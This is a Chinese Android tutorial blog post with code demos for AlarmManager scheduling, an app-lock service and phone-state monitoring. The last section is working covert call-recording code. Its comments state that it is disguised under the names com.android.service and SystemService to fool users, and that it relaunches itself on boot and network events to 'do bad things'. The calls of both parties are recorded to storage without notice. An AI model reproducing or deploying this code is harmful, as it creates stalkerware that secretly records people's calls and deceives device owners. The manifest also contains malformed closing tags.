Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱
MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina.com

目录

定时任务 AlarmManager + IntentService

AlarmManagerActivity

public class AlarmManagerActivity extends ListActivity {
private AlarmManager manager;
private int count; protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String[] array = {
"设置一次性定时后台服务",
"设置一个周期性执行的定时服务",
"取消AlarmManager的定时服务"};
setListAdapter(new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, array)); manager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
} @Override
protected void onListItemClick(ListView l, View v, int position, long id) {
switch (position) {
case 0:
setOnceAlarm();
break;
case 1:
setRepeatAlarm();
break;
case 2:
Intent intent = new Intent(this, BackgroundService.class);
manager.cancel(PendingIntent.getService(this, 0, intent, 0));
break;
}
} /*AlarmManager中定义的type有五个可选值:
ELAPSED_REALTIME 闹钟在睡眠状态下不可用,如果在系统休眠时闹钟触发,它将不会被传递,直到下一次设备唤醒;使用相对系统启动开始的时间
ELAPSED_REALTIME_WAKEUP 闹钟在手机睡眠状态下会唤醒系统并执行提示功能,使用相对时间
RTC 闹钟在睡眠状态下不可用,该状态下闹钟使用绝对时间,即当前系统时间
RTC_WAKEUP 表示闹钟在睡眠状态下会唤醒系统并执行提示功能,使用绝对时间
POWER_OFF_WAKEUP 表示闹钟在手机【关机】状态下也能正常进行提示功能,用绝对时间,但某些版本并不支持! */ /*设置在triggerAtTime时间启动的定时服务。该方法用于设置一次性闹钟*/
private void setOnceAlarm() {
Intent intent = getIntent("onceAlarm");
PendingIntent pendingIntent = PendingIntent.getService(this, 0, intent, 0); //表示闹钟(首次)执行时间。相对于系统启动时间,Returns milliseconds since boot, including time spent in sleep
long triggerAtTime = SystemClock.elapsedRealtime() + 3 * 1000; //设置定时任务。CPU一旦休眠(比如关机状态),Timer中的定时任务就无法运行,而Alarm具有唤醒CPU的功能
manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pendingIntent);
} /*设置一个周期性执行的定时服务,参数表示首次执行时间和间隔时间*/
private void setRepeatAlarm() {
Intent intent = getIntent("repeatAlarm" + (count++));//这里传给Intent的值一旦设定后就不会再改变
PendingIntent pendingIntent = PendingIntent.getService(this, 0, intent, 0); //相对于1970……的绝对时间,Returns milliseconds since boot, including time spent in sleep.
long triggerAtTime = System.currentTimeMillis() + 3 * 1000; //时间间隔至少为60秒
manager.setRepeating(AlarmManager.RTC_WAKEUP, triggerAtTime, 60 * 1000, pendingIntent);
/*Frequent alarms are bad for battery life. As of API 22, the AlarmManager will override
near-future and high-frequency alarm requests, delaying the alarm at least 【5 seconds】 into the future
and ensuring that the repeat interval is at least 【60 seconds】.
If you really need to do work sooner than 5 seconds, post a delayed message or runnable to a Handler.*/
} @NonNull
private Intent getIntent(String name) {
Intent intent = new Intent(this, BackgroundService.class);
intent.putExtra("name", name);
return intent;
}
}

BackgroundService

public class BackgroundService extends IntentService {
public BackgroundService() {
super("工作线程");
} @Override
public void onCreate() {
super.onCreate();
Log.i("bqt", "onCreate");
} @Override
public void onDestroy() {
super.onDestroy();
Log.i("bqt", "onDestroy");
} @Override
protected void onHandleIntent(@Nullable Intent intent) {
Log.i("bqt", "onHandleIntent,是否主线程:" + (Looper.myLooper() == Looper.getMainLooper()));
String name = intent != null && intent.hasExtra("name") ? intent.getStringExtra("name") : "null";
Log.i("bqt", "开始执行耗时任务," + name);
SystemClock.sleep(3 * 1000);
Log.i("bqt", "耗时任务完成");
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("bqt", "onStartCommand");
return super.onStartCommand(intent, flags, startId);
}
}

应用锁 UsageStatsManager ActivityManager AppOpsManager

demo地址

使用到的依赖库

implementation 'io.reactivex.rxjava2:rxjava:2.2.1'
implementation 'io.reactivex.rxjava2:rxandroid:2.0.2'
implementation 'com.github.tbruyelle:rxpermissions:0.10.2'

清单文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.bqt.lock"> <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission
android:name="android.permission.PACKAGE_USAGE_STATS"
tools:ignore="ProtectedPermissions"/> <application
android:name=".MyApplication"
android:allowBackup="false"
android:icon="@drawable/icon"
android:label="应用锁"
android:theme="@android:style/Theme.Holo.Light.NoActionBar"
tools:ignore="GoogleAppIndexingWarning">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name=".LockActivity"
android:launchMode="singleInstance"/> <service android:name=".AppService"/>
</application> </manifest>

启动Activity

public class MainActivity extends FragmentActivity {

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
TextView textView = new TextView(this);
textView.setBackgroundColor(Color.DKGRAY);
textView.setTextColor(Color.WHITE);
textView.setGravity(Gravity.CENTER);
textView.setText("欢迎使用应用锁");
textView.setTextSize(26);
setContentView(textView);
checkPermission();
} private static final int REQUEST_PACKAGE_USAGE_STATS = 1101; @SuppressLint("CheckResult")
private void checkPermission() {
new RxPermissions(this)
.request(Manifest.permission.KILL_BACKGROUND_PROCESSES)
.subscribe(granted -> {
Log.i("bqt", "是否有清后台应用的权限:" + granted);
requestUsage();
});
} private void requestUsage() {
if (!AppUtils.isUseGranted()) {//引导用户开启"Apps with usage access"权限
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
Toast.makeText(this, "需要开启查看应用使用情况的权限", Toast.LENGTH_SHORT).show();
startActivityForResult(new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS), REQUEST_PACKAGE_USAGE_STATS);
}
}
} @Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == REQUEST_PACKAGE_USAGE_STATS) {
checkPermission();
}
}
}

拦截提示Activity

public class LockActivity extends Activity {
private TextView tv_name;
private ImageView iv_icon; @Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_lock); tv_name = findViewById(R.id.tv_name);
iv_icon = findViewById(R.id.iv_icon);
init(getIntent());
} @Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
Log.i("bqt", "onNewIntent");
init(intent);
} private void init(Intent intent) {
String packageName = intent.getStringExtra("package");
if (packageName != null) {
try {
PackageManager manager = getPackageManager();
String name = manager.getPackageInfo(packageName, 0).applicationInfo.loadLabel(manager).toString();
Drawable icon = manager.getPackageInfo(packageName, 0).applicationInfo.loadIcon(manager);
tv_name.setText("禁止使用:" + name);
iv_icon.setBackgroundDrawable(icon);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

拦截服务

public class AppService extends Service {
private Disposable disposable; @Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public void onCreate() {
super.onCreate();
} @Override
public int onStartCommand(Intent startIntent, int flags, int startId) {
disposable = Flowable.interval(200, TimeUnit.MILLISECONDS)//每200毫秒查询一次
.throttleFirst(200, TimeUnit.MILLISECONDS)//取300毫米内的最后一次
.subscribe(aLong -> {
String packageName = AppUtils.getTopPackageName();
if (WhiteListUtils.isInWhiteList(packageName)) {
Log.i("bqt", "白名单应用,不拦截" + packageName);
} else if (packageName == null) {
Log.i("bqt", "无法获取到包名,取消拦截");
stopSelf();
} else {
Log.i("bqt", "拦截" + packageName);
Intent intent = new Intent(this, LockActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("package", packageName);
startActivity(intent);
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
if (am != null) am.killBackgroundProcesses(packageName);
disposable.dispose();
}
}, Throwable::printStackTrace);
return super.onStartCommand(startIntent, flags, startId);
} @Override
public void onDestroy() {
super.onDestroy();
if (disposable != null) {
disposable.dispose();
}
}
}

Application

public class MyApplication extends Application {
public static MyApplication instance = new MyApplication(); @Override
public void onCreate() {
super.onCreate();
instance = this; registerActivityLifecycleCallbacks(new ActivityLifecycleCallbacks() {
private int mFinalCount; @Override
public void onActivityCreated(Activity activity, Bundle savedInstanceState) { } @Override
public void onActivityStarted(Activity activity) {
mFinalCount++;
if (mFinalCount == 1) {//如果mFinalCount ==1,说明是从后台到前台
Log.i("bqt", "从后台到前台:" + activity.getClass().getSimpleName());
stopService(new Intent(activity, AppService.class));
}
} @Override
public void onActivityResumed(Activity activity) { } @Override
public void onActivityPaused(Activity activity) { } @Override
public void onActivityStopped(Activity activity) {
mFinalCount--;
if (mFinalCount == 0) {//如果mFinalCount ==0,说明是从前台到后台
Log.i("bqt", "从前台到后台:" + activity.getClass().getSimpleName());
startService(new Intent(activity, AppService.class));
}
} @Override
public void onActivitySaveInstanceState(Activity activity, Bundle outState) { } @Override
public void onActivityDestroyed(Activity activity) { }
});
}
}

工具类

工具类1:获取全局上下文

public class App {
public static Application getApp() {
return MyApplication.instance;
}
}

工具类2:判断权限、获取包名

public class AppUtils {

    /**
* 判断查看历史记录的权利是否给予app
*/
public static boolean isUseGranted() {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
AppOpsManager appOps = (AppOpsManager) App.getApp().getSystemService(Context.APP_OPS_SERVICE);
if (appOps != null) {
int mode = appOps.checkOpNoThrow("android:get_usage_stats", android.os.Process.myUid(), App.getApp().getPackageName());
return mode == AppOpsManager.MODE_ALLOWED;
} else {
return false;
}
} else {
return true;
}
} /**
* 获取顶层的activity的包名
*/
public static String getTopPackageName() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1) {
return getTopPackageNameLol();
} else {
return getTopPackageNameKitr();
}
} private static String getTopPackageNameLol() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1) {
UsageStatsManager manager = (UsageStatsManager) App.getApp().getSystemService(Context.USAGE_STATS_SERVICE);
if (manager == null) return null; long time = System.currentTimeMillis();
List<UsageStats> statsList = manager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, time - 1000 * 20, time);
if (statsList != null) {
SortedMap<Long, UsageStats> mySortedMap = new TreeMap<>();
for (UsageStats usageStats : statsList) {
mySortedMap.put(usageStats.getLastTimeUsed(), usageStats);
}
if (!mySortedMap.isEmpty()) {
return mySortedMap.get(mySortedMap.lastKey()).getPackageName();
}
}
}
return null;
} private static String getTopPackageNameKitr() {
ActivityManager activityManager = (ActivityManager) App.getApp().getSystemService(Context.ACTIVITY_SERVICE);
if (activityManager != null) {
ComponentName topActivity = activityManager.getRunningTasks(1).get(0).topActivity;
return topActivity.getPackageName();
} else {
return null;
}
}
}

工具类3:设置白名单

public class WhiteListUtils {
private static final String[] WHITE_LIST = new String[]{
App.getApp().getPackageName(),//当前应用
"com.android.settings",//设置界面
"com.android.systemui",//系统功能,包括:三星最近任务
"com.android.deskclock",//系统时钟
"com.miui.home",//小米桌面
"com.miui.securitycenter",//小米安全中心设置
"com.sec.android.app.launcher",//三星桌面
//"com.tencent.mm",//微信
//"com.tencent.qq",//QQ
//"com.tencent.qqlite",//QQ轻聊版
//"com.tencent.mobileqqi",//QQ国际版
}; public static boolean isInWhiteList(String packageName) {
for (String s : WHITE_LIST) {
if (s.equalsIgnoreCase(packageName)) {
return true;
}
}
return false;
}
}

电话状态监听 通话录音 TelephonyManager PhoneStateListener MediaRecorder

Demo地址

电话管理器 电话状态监听 通话过程录音 TelephonyManager PhoneStateListener MediaRecorder 电池状态广播

MainActivity

public class MainActivity extends ListActivity {
private BatteryChangedReceiver receiver;
static final String SERVICE_NAME = "com.android.service.SystemService"; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String[] mData = {"开启服务",
"停止服务",
"判断服务是否正在运行",
"动态注册电量变化的广播接收者",
"取消注册"};
setListAdapter(new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, Arrays.asList(mData)));
} @Override
protected void onListItemClick(ListView l, View v, int position, long id) {
switch (position) {
case 0:
startService(new Intent(this, SystemService.class));
break;
case 1:
stopService(new Intent(this, SystemService.class));
break;
case 2:
Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, SERVICE_NAME), Toast.LENGTH_SHORT).show();
break;
case 3:
if (receiver == null) receiver = new BatteryChangedReceiver();
registerReceiver(receiver, getIntentFilter());//电池的状态改变广播只能通过动态方式注册
break;
case 4:
if (receiver != null) {
unregisterReceiver(receiver);
receiver = null;
} else Toast.makeText(this, "你还没有注册", Toast.LENGTH_SHORT).show(); break;
}
} private IntentFilter getIntentFilter() {
IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery.
filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog.
filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state.
return filter;
} public static boolean isServiceWorked(Context context, String serviceName) {
ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
ArrayList<RunningServiceInfo> services = (ArrayList<RunningServiceInfo>) manager.getRunningServices(Integer.MAX_VALUE);
for (int i = 0; i < services.size(); i++) {
if (services.get(i).service.getClassName().equals(serviceName)) return true;
}
return false;
}
}

SystemService

/**
* 一个监听用户电话状态的服务<br/>
* 为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。<br/>
* 为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务!
*/
public class SystemService extends Service {
private PhoneStateListener listener; @Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public void onCreate() {
TelephonyManager manager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
listener = new MyPhoneStateListener();
manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
Log.i("bqt", "onCreate");
super.onCreate();
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("bqt", "onStartCommand");
return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建
} @Override
public void onDestroy() {
Log.i("bqt", "onDestroy");
//startService(new Intent(this, SystemService.class));//在onDestroy中再启动本服务,但是用户杀进程时不会调用onDestroy方法
// 取消电话的监听
((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
super.onDestroy();
}
}

BatteryChangedReceiver

/**
* 电量改变的广播接收者
*/
public class BatteryChangedReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Action:" + intent.getAction(), Toast.LENGTH_SHORT).show();
switch (intent.getAction()) {
case Intent.ACTION_BATTERY_CHANGED://"android.intent.action.BATTERY_CHANGED"
Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION");
Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1));
Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLD
Log.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1));
Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1));
Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1));
Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电
Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ion
Log.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1));
break;
case Intent.ACTION_BATTERY_LOW:// "android.intent.action.BATTERY_LOW"
Log.i("battery", "电池电量低:ACTION_BATTERY_LOW");
break;
case Intent.ACTION_BATTERY_OKAY:// "android.intent.action.BATTERY_OKAY"
Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY");
break;
default:
break;
}
}
}

MyPhoneStateListener

/**
* 服务中所激活的电话状态监听器,在通话状态通过MediaRecorder录音
*/
public class MyPhoneStateListener extends PhoneStateListener {
private String phoneNumber; // 来电号码
private static final String FILE_PATH = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords";
private MediaRecorder mediaRecorder; @Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
Log.i("bqt", "state=" + state + " Number=" + incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_RINGING://响铃状态,拿到来电号码
phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通话状态,开始录音
record();
break;
case TelephonyManager.CALL_STATE_IDLE://空闲状态,释放资源
release();
break;
}
} private void record() {
if (mediaRecorder == null) mediaRecorder = new MediaRecorder();
if (phoneNumber == null) phoneNumber = "null_";
File directory = new File(FILE_PATH);
if (!directory.exists()) directory.mkdir();
String data = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.getDefault()).format(new Date());
File file = new File(FILE_PATH + File.separator + phoneNumber + data);
//if (!file.exists()) file.createNewFile(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源
//MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等
mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径
try {
mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常
} catch (IOException e) {
e.printStackTrace();
}
mediaRecorder.start();
Log.i("bqt", "开始录音!");
} private void release() {
if (mediaRecorder != null) {
mediaRecorder.stop();
//mediaRecorder.reset(); //重设
mediaRecorder.release();
mediaRecorder = null;
}
Log.i("bqt", "结束录音!");
}
}

SuperReceiver

/**
* 在一个超级广播接收者中启动服务
* 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事
*/
public class SuperReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, SystemService.class));
Log.i("bqt", intent.getAction());
}
}

清单文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.service">
<!-- 访问电话状态 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses>
<!-- 允许程序监视、修改或放弃拨打电话 -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"></uses>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses>
<!-- 挂载、反挂载外部文件系统 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses>
<!-- 录音权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"></uses>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses> <application
android:theme="@style/AppTheme">
<activity
android:name=".MainActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN"></action> <category android:name="android.intent.category.LAUNCHER"></category>
</intent-filter>
</activity> <receiver android:name=".SuperReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"></action>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"></action>
<action android:name="android.net.wifi.WIFI_STATE_CHANGED"></action>
<!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 -->
<action android:name="android.intent.action.USER_PRESENT"></action>
</intent-filter>
</receiver> <service
android:name=".SystemService"
android:process=":process1"></service>
</application> </manifest>

2019-3-12

服务 Service 简单案例 MD的更多相关文章

  1. 服务 AIDL 定向tag IPC Parcelable 案例 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  2. S3 服务(Simple Storage Service简单存储服务) 简介(与hdfs同一级)

    图1  spark 相关 亚马逊云存储之S3(Simple Storage Service简单存储服务) (转 ) S3是Simple Storage Service的缩写,即简单存储服务.亚马逊的名 ...

  3. Redis作为消息队列服务场景应用案例

    NoSQL初探之人人都爱Redis:(3)使用Redis作为消息队列服务场景应用案例   一.消息队列场景简介 “消息”是在两台计算机间传送的数据单位.消息可以非常简单,例如只包含文本字符串:也可以更 ...

  4. Spring Kafka和Spring Boot整合实现消息发送与消费简单案例

    本文主要分享下Spring Boot和Spring Kafka如何配置整合,实现发送和接收来自Spring Kafka的消息. 先前我已经分享了Kafka的基本介绍与集群环境搭建方法.关于Kafka的 ...

  5. AIDL 定向tag IPC 案例 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  6. SpringBoot基础学习(一) SpringBoot概念、简单案例实现、单元测试及热部署讲解

    SpringBoot概念 Spring优缺点分析 Spring优点 Spring是Java企业版(Java Enterprise Edition,JEE,也称J2EE)的轻量级代替品,无需开发重量级的 ...

  7. 大数据学习day11------hbase_day01----1. zk的监控机制,2动态感知服务上下线案例 3.HDFS-HA的高可用基本的工作原理 4. HDFS-HA的配置详解 5. HBASE(简介,安装,shell客户端,java客户端)

    1. ZK的监控机制 1.1 监听数据的变化  (1)监听一次 public class ChangeDataWacher { public static void main(String[] arg ...

  8. Web Service简单入门示例

    Web Service简单入门示例     我们一般实现Web Service的方法有非常多种.当中我主要使用了CXF Apache插件和Axis 2两种. Web Service是应用服务商为了解决 ...

  9. 【AngularJS中的自定义服务service VS factory VS provider】---它们的区别,你知道么?

    在介绍AngularJS自定义服务之前,我们先来了解一下AngularJS~ 学过HTML的人都知道,HTML是一门很好的伪静态文本展示设计的声明式语言,但是,要构建WEB应用的话它就显得乏力了. 而 ...

随机推荐

  1. echarts饼图不显示数据为0的数据

    首先阐述下为什么会有这个需求,这个和echarts自身的显示效果有关. 如果你选择的展示图形为饼图,然后你的数据里有一条数据为0,那么展示的数据就为一条直线,看上去效果并不好, 会很突兀. 当然如果你 ...

  2. JQuery 插件一般方法

    如今做web开发,jquery 几乎是必不可少的,就连vs神器在2010版本开始将Jquery 及ui 内置web项目里了.至于使用jquery好处这里就不再赘述了,用过的都知道.今天我们来讨论下jq ...

  3. SeaJS入门教程系列之完整示例(三)

    一个完整的例子上文说了那么多,知识点比较分散,所以最后我打算用一个完整的SeaJS例子把这些知识点串起来,方便朋友们归纳回顾.这个例子包含如下文件: 1.index.html——主页面.2.sea.j ...

  4. CSS3:HSL和HSLA

    <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" ...

  5. .NET正则平衡组

    1        概述 平衡组是微软在.NET中提出的一个概念,主要是结合几种正则语法规则,提供对配对出现的嵌套结构的匹配..NET是目前对正则支持最完备.功能最强大的语言平台之一,而平衡组正是其强大 ...

  6. Journal of BitcoinJ 从clone开始

    启动Powershell cd D:\workspace mkdir BitcoinJ git init

  7. [转] ES6 import/export:模块导入导出方式

    export导出语法 // default exports export default 42; export default {}; export default []; export defaul ...

  8. day8--socketserver作业

    fileno()文件描述符 handle_request()处理单个请求 server_forever(poll_interval=0.5)处理多个请求,poll_interval每0.5秒检测是否关 ...

  9. MT4编程初级手册

    http://www.fxunion.com/college/2015/17554.html

  10. 082 HBase的几种调优(GC策略,flush,compact,split)

    一:GC的调优 1.jvm的内存 新生代:存活时间较短,一般存储刚生成的一些对象 老年代:存活时间较长,主要存储在应用程序中生命周期较长的对象 永久代:一般存储meta和class的信息 2.GC策略 ...